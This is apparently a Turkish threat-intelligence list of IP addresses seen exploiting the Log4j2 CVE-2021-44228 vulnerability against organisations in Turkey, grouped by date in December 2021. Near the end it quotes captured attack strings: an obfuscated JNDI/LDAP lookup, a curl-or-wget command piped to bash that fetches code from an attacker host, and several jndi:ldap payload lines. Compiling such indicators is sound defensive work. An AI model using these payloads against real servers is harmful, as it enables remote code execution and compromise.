muratyokus / Turkey-discovery-and-exploitation-IOCs

Türkiye de faliyet gösteren şirket ve kamu kurumlarına "Apache Log4j2-CVE-2021-44228" güvenlik açığından yararlanarak saldırı, keşif ve sömürü gerçekleştiren adresler:

#21 Dec 2021 #20 Aralık 2021

66.97.33.213
1.209.249.188
45.176.232.125
173.249.41.126
164.100.22.19
167.86.75.145
143.110.242.174
69.163.46.110
185.220.101.60
164.90.222.65
150.158.95.54
202.28.34.99
178.18.247.225
155.94.151.182
194.225.58.12
110.10.129.34
63.250.39.66
89.187.177.203
77.55.210.41
206.189.227.177
89.223.120.178
68.183.84.74
34.72.54.39
74.208.186.30
42.117.5.36
144.217.88.125
193.46.198.254
119.59.103.152
54.37.136.25
128.199.243.142
45.55.61.8
161.35.97.10
3.231.227.94
197.246.175.186
147.135.255.139
139.59.240.157
138.201.142.73
185.3.94.121
146.56.131.161
147.182.202.30
51.38.114.107
189.126.111.200
212.227.211.106
13.126.83.157
157.245.196.132
27.254.65.114
51.68.141.164
185.220.101.0
62.171.179.132
207.244.245.138
163.172.209.165
217.182.171.250
192.35.168.80
85.93.218.204
150.158.91.179
46.105.95.220
213.32.75.32
185.184.152.140
167.86.84.130
178.128.27.77
175.125.94.217
69.61.28.68
198.71.55.236
164.90.229.63
195.201.119.105
139.59.74.234
149.28.155.78
192.241.213.46
51.68.46.188
165.227.203.109
104.248.155.133
165.22.99.235
167.99.87.187
51.210.5.168
34.64.152.129
169.45.124.186
167.172.177.71
217.160.91.242
142.93.18.229
80.211.166.28
82.223.151.164
165.22.211.113
45.61.188.164
54.37.36.242
77.81.247.25
160.251.13.130
157.230.151.110
51.15.9.169
103.85.95.2
159.65.230.112
134.209.156.68
5.189.160.61
107.170.39.149
159.89.97.175
82.165.106.79
46.154.38.127
152.70.112.97
85.25.132.205
64.225.68.134
68.183.234.207
95.214.54.97
188.165.79.151
159.89.188.81
213.139.206.152
178.238.225.252
45.77.203.171
93.39.112.199
164.52.194.45
104.236.66.186
173.212.193.249
167.86.77.179
139.59.126.41
185.220.101.7
87.237.52.87
192.241.212.44
81.25.125.21
190.8.175.7
46.101.142.214
46.101.184.84
178.128.105.99
89.163.249.192
85.187.218.98
207.180.254.177
128.199.247.99
84.236.21.188
134.122.66.193
91.201.172.52
190.107.19.180
185.180.143.8
45.144.225.119
128.1.248.26
23.251.102.74
164.52.24.162
45.6.96.7
23.148.145.196
198.98.48.231
36.138.125.111
176.113.74.5
94.61.25.201
107.189.10.137
80.92.206.105
37.120.137.172
185.220.101.4
185.157.80.70
34.75.39.119
3.71.74.164
104.244.72.152
92.118.160.61
211.154.194.21
150.158.189.96
192.241.211.199
36.138.125.117
42.192.17.155
49.234.8.144
213.32.122.82
8.36.139.135
107.189.29.181
23.224.186.205
192.241.213.120
36.138.125.119
23.224.186.204
71.6.199.23
104.248.144.120
142.93.158.25
221.226.159.22
86.57.246.76
36.138.125.72
188.215.229.180
178.176.203.190
92.118.160.9
128.14.209.162
192.241.209.175
182.161.66.103
212.154.30.36
77.37.134.80
45.83.66.16
45.83.64.192
45.83.64.179
185.173.35.53
36.138.125.82
5.157.38.50
36.138.125.108
45.159.58.241
180.149.125.166
104.140.188.42
5.154.174.53
20.86.8.205
134.209.157.250
35.199.151.159
46.105.229.180
223.111.180.119
45.83.67.36
45.83.65.25
45.83.66.20
45.83.64.67
45.83.64.243
45.83.67.109
45.83.64.76
91.15.28.66
172.21.0.1
45.83.66.250
45.83.67.96
92.219.126.135
68.64.172.154
89.22.180.140
45.83.65.230
45.83.67.38
45.83.65.223
45.83.64.182
52.114.77.236
172.105.68.32
45.83.67.80
178.176.202.121
45.83.67.19
45.83.66.147
218.89.222.71
45.83.65.105
192.241.214.157
45.83.67.182
45.83.66.45
45.83.66.6
45.83.66.56
45.83.66.146

17 Aralık 2021

137.184.218.211
45.83.65.192
45.83.66.5
45.83.64.143
45.83.66.29
45.83.65.68
45.83.65.41
45.83.66.199
45.83.67.67
45.83.66.190
45.83.67.224
45.83.66.245
47.241.208.155
45.83.67.107
142.93.214.232
149.129.167.144
147.139.6.25
167.172.199.165
45.83.66.218
104.131.8.196
102.222.215.74
139.59.0.146
143.110.186.184
152.70.81.236
74.208.18.105
213.139.206.157
47.240.244.45
128.199.225.17
89.66.154.168
185.230.55.218
45.83.67.206
45.83.65.83
198.58.104.203
104.248.39.77
45.83.65.140
45.83.65.149
92.114.18.21
45.83.66.95
45.83.65.199
103.85.95.5
88.99.225.124
178.128.55.40
167.99.115.242
45.83.66.152
45.83.65.220
178.164.165.160
187.95.33.178
45.93.136.110
139.59.138.120
175.126.146.148
167.86.101.97
45.83.64.127
45.83.67.212
209.126.78.31
196.196.150.38
176.9.72.17
45.83.64.20
45.83.65.5
194.31.53.115
167.71.175.10
167.86.92.66
94.177.189.191
80.82.77.33
141.164.42.9
45.83.65.55
159.89.161.111
104.251.215.148
167.86.96.63
178.32.178.64
165.22.61.235
197.246.175.231
46.101.98.60
46.183.113.147
45.83.67.160
191.252.111.163
188.166.217.40
143.110.188.74
54.37.235.123
95.173.156.193
45.83.65.184
45.83.66.209
153.92.5.27
45.83.67.84
45.83.64.58
193.118.53.202
134.122.25.128
88.214.57.226
45.83.67.21
45.83.65.123
45.83.65.233
45.83.64.242
45.83.66.133
45.83.65.190
45.83.67.239
178.194.76.75
45.83.67.248
45.83.64.105
50.116.19.225
91.240.139.151
45.83.66.134
45.83.66.87
72.255.34.15
45.83.64.170
45.83.66.167
37.59.29.60
45.83.65.164
45.83.64.50
141.164.57.199
45.83.65.154
45.83.64.129
45.83.67.180
45.83.64.63
217.182.126.254
45.83.65.216
45.83.67.77
173.212.201.219
144.217.28.116
130.185.72.216
45.83.66.43
45.83.65.241
193.118.53.194
139.59.60.88
64.227.11.72
45.83.66.184
45.83.67.229
192.99.160.42
168.119.51.234
85.187.218.68
45.83.66.208
68.183.221.199
78.128.125.87
68.183.82.33
139.59.43.56
205.185.122.184
209.141.35.128
146.71.78.140
77.68.9.225
165.22.245.1
185.53.163.170
45.224.181.2
170.210.45.163
185.217.198.159
172.104.248.192
34.80.118.173
51.15.244.188
167.71.2.249
139.59.70.139
101.33.228.224
1.116.59.211
164.52.53.163
143.244.156.104

15 Aralık 2021

212.156.204.226
139.59.237.99
185.220.101.170
159.65.48.154
198.58.104.209
134.122.47.205
159.89.159.168
64.227.8.178
143.198.163.225
194.195.241.242
198.211.103.63
134.122.39.124
165.227.31.212
134.209.24.42
165.227.4.86
131.100.148.7
194.233.164.125
138.68.231.58
194.233.164.98
134.122.43.27
194.195.244.222
128.199.108.180
194.195.246.93
159.65.102.226
188.166.168.128
194.195.244.81
43.132.244.62
35.234.108.195
95.9.6.68
138.68.249.132
165.22.237.1
178.128.38.105
157.245.108.125
217.160.174.204
162.243.172.194
86.109.208.194
194.195.244.74
159.203.29.42
159.65.106.130
194.195.244.206
111.28.189.51
207.46.13.103
157.90.35.190
113.141.64.14
185.107.70.56
185.220.101.184
185.220.100.250
51.210.135.55
81.214.164.130
41.203.140.114
34.76.15.188
157.55.39.167
88.230.23.164
176.237.104.32
88.152.185.223
207.46.13.31
107.189.28.253
92.44.220.69
5.176.228.60
157.55.39.16
195.175.76.170
104.244.72.129
46.221.209.126
157.55.39.169
91.221.57.179
88.238.234.221
217.70.162.253
154.65.28.250
89.163.144.156
191.232.38.25
194.5.73.6
112.74.52.90
185.220.102.241

14 Aralık 2021

185.220.101.32
139.177.177.228
171.25.193.77
89.163.154.91
51.105.55.17
37.1.220.75
37.187.96.183
185.220.101.174
81.17.18.61
185.220.101.167
92.63.197.53
185.232.64.32
45.146.164.160
217.79.189.13
207.148.74.130
83.149.110.185
185.220.101.178
188.166.74.97
45.83.67.144
45.83.67.111
45.83.64.229
45.83.66.226
45.83.65.106

13 Aralık 2021

209.141.41.62
45.83.66.216
45.83.64.126
167.99.172.59
45.83.66.59
176.58.100.98
45.83.66.120
45.83.66.40
195.54.160.149
45.83.66.248
45.83.67.126
45.83.67.115
45.83.64.124
45.83.65.15
45.83.67.253
45.83.67.196
45.83.64.122
45.83.65.217
45.83.65.150
45.83.66.114
185.220.101.173
45.83.64.217
45.83.66.53
137.184.25.7
45.83.65.179
45.83.67.113
45.83.65.37
45.83.65.17
45.83.66.243
45.83.65.66
139.177.178.141
45.83.64.251
45.83.65.214
45.83.66.215
45.83.64.8
45.83.67.117
45.83.65.201
45.83.65.186
194.195.246.96
139.177.178.8
45.83.66.1
45.83.64.110
45.83.66.123
45.83.67.78
45.83.67.33
45.83.65.98
45.83.66.115
45.83.66.94
45.83.67.157
45.83.67.241
157.230.32.67
157.245.108.40
45.83.65.121
45.83.64.220
45.83.66.105
45.83.65.71
45.83.65.119
45.83.64.77
45.83.67.95
139.162.171.98
49.233.62.25
147.182.195.250
188.166.86.206
177.131.174.12
31.6.19.41
178.62.222.131
167.71.14.192
138.197.216.230
68.183.37.10
68.183.41.150
159.89.122.19
159.89.154.185
139.59.8.39
172.98.66.221
159.89.94.219

12 ARALIK 2021

194.110.84.24
144.48.39.206
195.251.41.139
20.71.156.146
46.105.95.220
146.56.131.161
196.240.57.190
178.176.202.121
185.67.33.235
c6qgldh5g22l07bu1lvgcg4o7qeyyumso.interactsh.com/a
68.183.36.244
174.138.6.128
174.138.6.128
162.255.202.246
172.111.48.30
5.181.235.46
163.172.157.143
108.61.148.110
20.71.156.146
45.130.229.168
175.6.210.66
139.59.182.104
167.99.221.249
142.93.157.150
138.197.106.234
139.59.99.80
139.59.224.7
139.59.97.205
167.99.204.151
139.59.182.104
159.89.115.238
157.245.129.50
159.89.133.216
164.92.254.33
139.59.182.104
138.197.72.76
167.71.1.144
167.99.221.249
142.93.157.150
138.197.193.220
138.197.106.234
67.205.170.85
8.217.99.188
206.189.20.141
159.89.154.102
67.205.170.85
143.198.180.150
138.197.167.229
159.89.146.147
206.189.20.141
163.172.157.143
160.238.38.158
23.82.194.114
45.155.205.233
89.249.63.3
165.22.201.45
161.35.119.60
138.68.155.222
108.61.148.110
163.172.157.143
5.181.235.46
162.255.202.246
174.138.6.128
68.183.36.244
143.110.221.204
37.187.122.82
172.111.48.30:
159.223.9.17
167.99.172.99
194.163.163.20
138.197.108.154
194.110.84.24
144.48.39.206
195.251.41.139
20.71.156.146
46.105.95.220
146.56.131.161
196.240.57.190
178.176.202.121
185.67.33.235
139.59.188.119
139.59.101.242
68.183.198.36
128.199.222.221
167.99.44.32
139.59.224.7
188.166.225.104
147.182.216.21
188.166.45.93
167.99.36.245
139.59.96.42
139.59.108.31
138.197.9.239
46.101.223.115
217.112.83.246
191.232.38.25
170.210.45.163
205.185.115.217
170.210.45.163
61.19.25.207
167.71.13.196
45.130.229.168
221.199.187.100
188.213.34.50
185.220.101.39
104.244.79.6
89.234.182.139
104.244.79.6
185.220.101.39
47.243.59.134
13.40.42.166
193.201.9.175
13.40.72.149
47.243.236.228

${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KODLANMIS BASE64 KODU==}" (curl -s 45.155.205.233:5874/xx.xx.xx.xx:80||wget -q -O- 45.155.205.233:5874/xx.xx.xx.xx:80)|bash

11 ARALIK 2021

139.59.224.7
188.166.225.104
147.182.216.21
188.166.45.93
167.99.36.245
139.59.96.42
139.59.108.31
138.197.9.239
46.101.223.115
217.112.83.246
191.232.38.25
170.210.45.163
205.185.115.217
170.210.45.163
61.19.25.207
167.71.13.196
45.130.229.168
221.199.187.100
188.213.34.50
185.220.101.39
104.244.79.6
89.234.182.139
104.244.79.6
185.220.101.39
47.243.59.134
13.40.42.166
193.201.9.175
13.40.72.149
47.243.236.228

10 Aralık 2021

jndi:ldap://205.185.115.217:47324/a
jndi:ldap:/45.130.229.168:1389/Exploit
221.199.187.100
167.71.13.196
jndi:ldaps://85f4b843.probe001.log4j.leakix.net:9200/b
61.19.25.207
jndi:ldap://45.130.229.168:1389/Exploit
170.210.45.163
jndi:ldap://163.172.157.143:1389/skziyb
217.112.83.246
46.101.223.115
jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent
138.197.9.239
139.59.108.31 jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent